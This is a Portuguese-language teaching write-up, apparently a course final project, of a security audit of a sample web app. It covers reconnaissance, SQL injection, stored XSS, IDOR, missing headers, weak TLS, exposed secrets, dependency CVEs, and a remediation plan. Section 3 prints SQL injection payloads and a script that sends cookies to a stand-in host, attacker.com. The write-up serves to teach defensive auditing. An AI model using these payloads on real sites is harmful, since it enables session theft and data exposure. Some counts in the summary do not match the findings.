Projeto final: auditoria de segurança completa em uma aplicação web

1. Preparação e Escopo da Auditoria

Para este projeto final, definimos como alvo uma aplicação web de exemplo chamada TaskManager Pro, construída com React no frontend, Node.js/Express no backend e PostgreSQL como banco de dados. A aplicação gerencia tarefas de equipes, armazena dados pessoais (nome, e-mail, hash de senha) e expõe uma API RESTful.

Antes de iniciar os testes, estabelecemos uma matriz de risco baseada no OWASP Risk Rating:

Severidade | Critério de Impacto
-----------|-------------------
Crítico    | Exposição de dados sensíveis, RCE
Alto       | SQLi, XSS persistente, quebra de autenticação
Médio      | IDOR, session fixation
Baixo      | Headers de segurança ausentes, informações de versão expostas

Ferramentas essenciais preparadas:
- OWASP ZAP (scanner ativo/passivo)
- Burp Suite Community (proxy de interceptação)
- Nmap (varredura de rede)
- Nuclei (scanner baseado em templates)
- truffleHog (busca de segredos em repositórios)

2. Reconhecimento e Mapeamento de Superfície de Ataque

Iniciamos com enumeração usando Wappalyzer e whatweb para identificar tecnologias:

whatweb https://taskmanager-pro.example.com
Resultado: React, Express, PostgreSQL, Nginx 1.24, TLS 1.3

Levantamos endpoints via crawling manual e com ZAP:

Endpoints críticos identificados:
POST /api/login
GET  /api/tasks?userId=123
POST /api/tasks/upload
GET  /api/users/profile

Verificamos dependências:

npm audit --json | grep "critical"
Resultado: 2 vulnerabilidades críticas em lodash e express-validator

3. Análise de Vulnerabilidades no Frontend e Backend

Testes de Injeção

SQL Injection no endpoint /api/tasks:

Requisição original:
GET /api/tasks?userId=123

Payload de teste:
GET /api/tasks?userId=123' OR '1'='1

Resposta: 200 OK com dados de todos os usuários
Vulnerabilidade: SQLi confirmada (parâmetro userId não sanitizado)

XSS Armazenado no campo de descrição de tarefa:

Payload enviado via POST:
{
  "title": "Tarefa normal",
  "description": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
}

Resultado: Script executado no navegador de todos que visualizam a tarefa
Vulnerabilidade: XSS armazenado (ausência de sanitização no backend)

IDOR no perfil de usuário:

GET /api/users/profile/1  (usuário autenticado como ID 1)
GET /api/users/profile/5  (usuário autenticado como ID 1)

Resposta: Dados do usuário ID 5 retornados sem verificação de propriedade
Vulnerabilidade: IDOR (controle de acesso horizontal ausente)

4. Auditoria de Configuração e Infraestrutura

Verificamos headers de segurança com curl:

curl -I https://taskmanager-pro.example.com

Headers retornados:
X-Powered-By: Express
Content-Security-Policy: (ausente)
Strict-Transport-Security: (ausente)
X-Frame-Options: (ausente)
Access-Control-Allow-Origin: *

Problemas identificados:
- CSP ausente (permite execução de scripts não autorizados)
- HSTS ausente (vulnerável a downgrade attack)
- CORS muito permissivo (qualquer origem pode consumir a API)

Teste de criptografia:

nmap --script ssl-enum-ciphers -p 443 taskmanager-pro.example.com

Resultado: TLS 1.2 suporta ciphers fracos (RC4, 3DES)
Recomendação: Desabilitar ciphers inseguros e forçar TLS 1.3

5. Revisão de Dependências e Segurança de Código

Varredura de segredos com truffleHog:

trufflehog filesystem --directory=./taskmanager-repo

Descobertas:
- /src/config/database.js: string de conexão PostgreSQL com senha em texto claro
- /src/.env.example: API_KEY de serviço terceiro exposta
- /src/tests/test_data.sql: dados de produção em repositório de teste

Análise de pacotes com OWASP Dependency-Check:

dependency-check --scan ./node_modules --format HTML

Resultados:
- lodash@4.17.20: CVE-2020-8203 (crítico, prototype pollution)
- express@4.17.1: CVE-2022-24999 (alto, open redirect)
- bcrypt@3.0.8: CVE-2020-7681 (médio, timing attack)

Verificação de prepared statements no código:

Código vulnerável encontrado em /src/routes/tasks.js:
const query = `SELECT * FROM tasks WHERE userId = ${req.query.userId}`;
db.query(query, callback);

Código corrigido:
const query = 'SELECT * FROM tasks WHERE userId = $1';
db.query(query, [req.query.userId], callback);

6. Testes de Segurança Automatizados e Manuais

Executamos scanner ativo com OWASP ZAP:

zap-cli active-scan --url https://taskmanager-pro.example.com

Resumo de alertas:
- SQL Injection: 2 alertas (Alto)
- XSS Refletido: 3 alertas (Alto)
- Path Traversal: 1 alerta (Médio)
- Missing Headers: 5 alertas (Baixo)
- Information Disclosure: 4 alertas (Médio)

Validação manual de falsos positivos:

Alerta de SQLi em /api/tasks?orderBy=name:
- Teste manual: ' ORDER BY 1-- confirmou injeção real
- Falso positivo: alerta de XSS em campo numérico (idade) — descartado

Teste de lógica de negócio no fluxo de recuperação de senha:

Fluxo testado:
1. Solicitar reset de senha para email@example.com
2. Interceptar token de reset via Burp Suite
3. Reutilizar token após 24h (deveria expirar)

Resultado: Token ainda válido após 48h
Vulnerabilidade: Falha na expiração de tokens de reset

7. Relatório Técnico e Plano de Remediação

Estrutura do relatório gerado:

## Resumo Executivo
- 8 vulnerabilidades críticas
- 12 vulnerabilidades altas
- 15 vulnerabilidades médias
- 9 vulnerabilidades baixas

## Vulnerabilidades por Severidade

### Críticas
1. SQL Injection em /api/tasks (userId)
   - Evidência: payload ' OR '1'='1 retornou todos os registros
   - Remediação: Substituir concatenação por prepared statements
   - Esforço: 4 horas

2. Chave de API exposta em .env.example
   - Evidência: truffleHog detectou chave válida
   - Remediação: Rotacionar chave e remover do repositório
   - Esforço: 1 hora

### Altas
3. XSS Armazenado em descrição de tarefa
   - Evidência: script executado em todos os visualizadores
   - Remediação: Implementar sanitização com DOMPurify (frontend) e validator (backend)
   - Esforço: 6 horas

4. IDOR em /api/users/profile/:id
   - Evidência: acesso a perfil de outro usuário sem autorização
   - Remediação: Verificar userId do token JWT antes de retornar dados
   - Esforço: 3 horas

8. Conclusão e Lições Aprendidas

Checklist final de itens auditados:

Item                          | Status
------------------------------|--------
SQL Injection                 | Vulnerável (corrigir)
XSS                           | Vulnerável (corrigir)
IDOR                          | Vulnerável (corrigir)
Headers de Segurança          | Ausentes (implementar)
Criptografia TLS              | Ciphers fracos (atualizar)
Segredos em Código            | Expostos (rotacionar)
Dependências                  | 2 críticas (atualizar)
Rate Limiting                 | Ausente (implementar)
Logs de Segurança             | Parciais (melhorar)

Próximos passos recomendados:
1. Reauditoria em 30 dias após correções
2. Teste de penetração complementar com equipe externa
3. Integração de SAST no CI/CD (SonarQube, Semgrep)
4. Implementação de WAF (ModSecurity) em produção

Lições aprendidas:
- A segurança deve ser pensada desde o design (Security by Design)
- Ferramentas automatizadas reduzem tempo mas não substituem análise manual
- A revisão de dependências é tão crítica quanto a revisão de código próprio
- Pequenos descuidos (como um .env.example no repositório) podem ter grande impacto

Referências